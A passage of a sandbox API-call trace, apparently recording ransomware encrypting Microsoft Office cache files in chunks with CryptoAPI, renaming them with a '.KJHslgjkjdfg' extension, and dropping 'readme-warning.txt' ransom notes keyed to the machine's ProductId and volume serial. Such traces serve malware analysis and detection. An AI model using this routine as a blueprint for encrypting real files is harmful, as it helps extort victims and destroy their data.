() returned 0x990000 [0155.151] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0155.151] GetProcessHeap () returned 0x990000 [0155.151] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0155.151] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0155.152] CloseHandle (hObject=0x124) returned 1 [0155.152] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0155.152] GetProcessHeap () returned 0x990000 [0155.152] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0155.152] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0155.152] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29df330 | out: pbData=0x9af7b0, pdwDataLen=0x29df330) returned 1 [0155.152] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.152] GetProcessHeap () returned 0x990000 [0155.152] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0155.153] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0155.153] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29df330 | out: pbData=0x9af7f8, pdwDataLen=0x29df330) returned 1 [0155.153] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.153] GetProcessHeap () returned 0x990000 [0155.153] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9dc8a8 [0155.153] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0155.153] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9dc8a8, pdwDataLen=0x29df330 | out: pbData=0x9dc8a8, pdwDataLen=0x29df330) returned 1 [0155.153] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.153] GetProcessHeap () returned 0x990000 [0155.153] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0155.153] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0155.153] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29def10 | out: pbData=0x9af840, pdwDataLen=0x29def10) returned 1 [0155.153] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.153] GetProcessHeap () returned 0x990000 [0155.153] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1918 [0155.153] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0155.153] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1918, pdwDataLen=0x29def10 | out: pbData=0x9b1918, pdwDataLen=0x29def10) returned 1 [0155.153] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.154] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29def0c | out: phkResult=0x29def0c*=0x124) returned 0x0 [0155.154] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29def18, lpcbData=0x29def14*=0x400 | out: lpType=0x0, lpData=0x29def18*=0x30, lpcbData=0x29def14*=0x18) returned 0x0 [0155.154] RegCloseKey (hKey=0x124) returned 0x0 [0155.154] GetProcessHeap () returned 0x990000 [0155.154] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0155.154] GetProcessHeap () returned 0x990000 [0155.154] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1918 | out: hHeap=0x990000) returned 1 [0155.154] GetProcessHeap () returned 0x990000 [0155.154] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1918 [0155.154] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0155.154] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1918, pdwDataLen=0x29dece4 | out: pbData=0x9b1918, pdwDataLen=0x29dece4) returned 1 [0155.154] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.154] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29dece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0155.154] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29dece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29dece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0155.155] GetProcessHeap () returned 0x990000 [0155.155] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1918 | out: hHeap=0x990000) returned 1 [0155.155] wsprintfA (in: param_1=0x29def2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0155.155] wsprintfA (in: param_1=0x29df33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0155.155] GetProcessHeap () returned 0x990000 [0155.155] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0155.155] wsprintfW (in: param_1=0x29de30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0155.155] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0155.155] WriteFile (in: hFile=0x124, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29de308, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29de308*=0x3b3, lpOverlapped=0x0) returned 1 [0155.157] CloseHandle (hObject=0x124) returned 1 [0155.157] GetProcessHeap () returned 0x990000 [0155.157] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc8a8 | out: hHeap=0x990000) returned 1 [0155.157] GetProcessHeap () returned 0x990000 [0155.157] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0155.157] GetProcessHeap () returned 0x990000 [0155.157] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0155.157] GetProcessHeap () returned 0x990000 [0155.157] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0155.157] FindClose (in: hFindFile=0x9b6528 | out: hFindFile=0x9b6528) returned 1 [0155.157] GetProcessHeap () returned 0x990000 [0155.158] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc610 | out: hHeap=0x990000) returned 1 [0155.158] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{90140000-0044-0409-1000-0000000FF1CE}-C", cAlternateFileName="{91454~1")) returned 1 [0155.158] GetProcessHeap () returned 0x990000 [0155.158] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8e) returned 0x9b2468 [0155.158] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6528 [0155.160] GetProcessHeap () returned 0x990000 [0155.160] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0155.160] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0155.160] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf79111d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1200204, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="InfLR.cab", cAlternateFileName="")) returned 1 [0155.161] GetProcessHeap () returned 0x990000 [0155.161] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x290) returned 0x9dc610 [0155.161] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0155.161] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x29df508 | out: lpFileSize=0x29df508*=18874884) returned 1 [0155.161] GetProcessHeap () returned 0x990000 [0155.161] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0155.161] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0155.161] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.162] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f4*=0xc, lpOverlapped=0x0) returned 1 [0155.164] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0155.164] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0155.164] GetProcessHeap () returned 0x990000 [0155.164] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0155.164] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df4d8*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df4d8*=0x30) returned 1 [0155.164] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.164] WriteFile (in: hFile=0x124, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df4f4*=0x30, lpOverlapped=0x0) returned 1 [0155.164] WriteFile (in: hFile=0x124, lpBuffer=0x29df4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df4fc*, lpNumberOfBytesWritten=0x29df4f4*=0x4, lpOverlapped=0x0) returned 1 [0155.165] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f4*=0x10, lpOverlapped=0x0) returned 1 [0155.165] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f4*=0x80, lpOverlapped=0x0) returned 1 [0155.165] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0155.165] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f4*=0x8, lpOverlapped=0x0) returned 1 [0155.165] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0155.165] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0155.165] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0155.165] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0155.177] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0155.183] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.183] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0155.184] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x12002d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.184] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0155.184] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x6000ac, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0155.184] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0155.197] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0155.201] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x6000ac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.201] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0155.203] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x12002d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.203] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0155.203] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x11c0210, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0155.203] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0155.207] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0155.210] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x11c0210, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.210] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0155.211] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x12002d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.211] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0155.212] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.212] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x12002d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.212] SetEndOfFile (hFile=0x124) returned 1 [0155.215] GetProcessHeap () returned 0x990000 [0155.215] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0155.215] GetProcessHeap () returned 0x990000 [0155.215] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0155.215] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.kjhslgjkjdfg")) returned 1 [0155.216] CloseHandle (hObject=0x124) returned 1 [0155.216] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e58f90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2fac00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="InfoPathMUI.msi", cAlternateFileName="INFOPA~1.MSI")) returned 1 [0155.216] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0155.216] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x29df508 | out: lpFileSize=0x29df508*=3124224) returned 1 [0155.216] GetProcessHeap () returned 0x990000 [0155.216] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0155.216] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0155.216] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.216] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0155.216] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0155.216] GetProcessHeap () returned 0x990000 [0155.216] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0155.216] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40) returned 1 [0155.216] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.217] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f4*=0x40, lpOverlapped=0x0) returned 1 [0155.218] WriteFile (in: hFile=0x124, lpBuffer=0x29df4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df4fc*, lpNumberOfBytesWritten=0x29df4f4*=0x4, lpOverlapped=0x0) returned 1 [0155.219] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f4*=0x10, lpOverlapped=0x0) returned 1 [0155.219] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f4*=0x80, lpOverlapped=0x0) returned 1 [0155.219] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0155.219] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f4*=0x8, lpOverlapped=0x0) returned 1 [0155.219] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0155.219] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0155.219] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0155.219] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0155.224] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0155.229] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.229] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0155.230] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2facd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.230] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0155.230] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfe400, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0155.230] 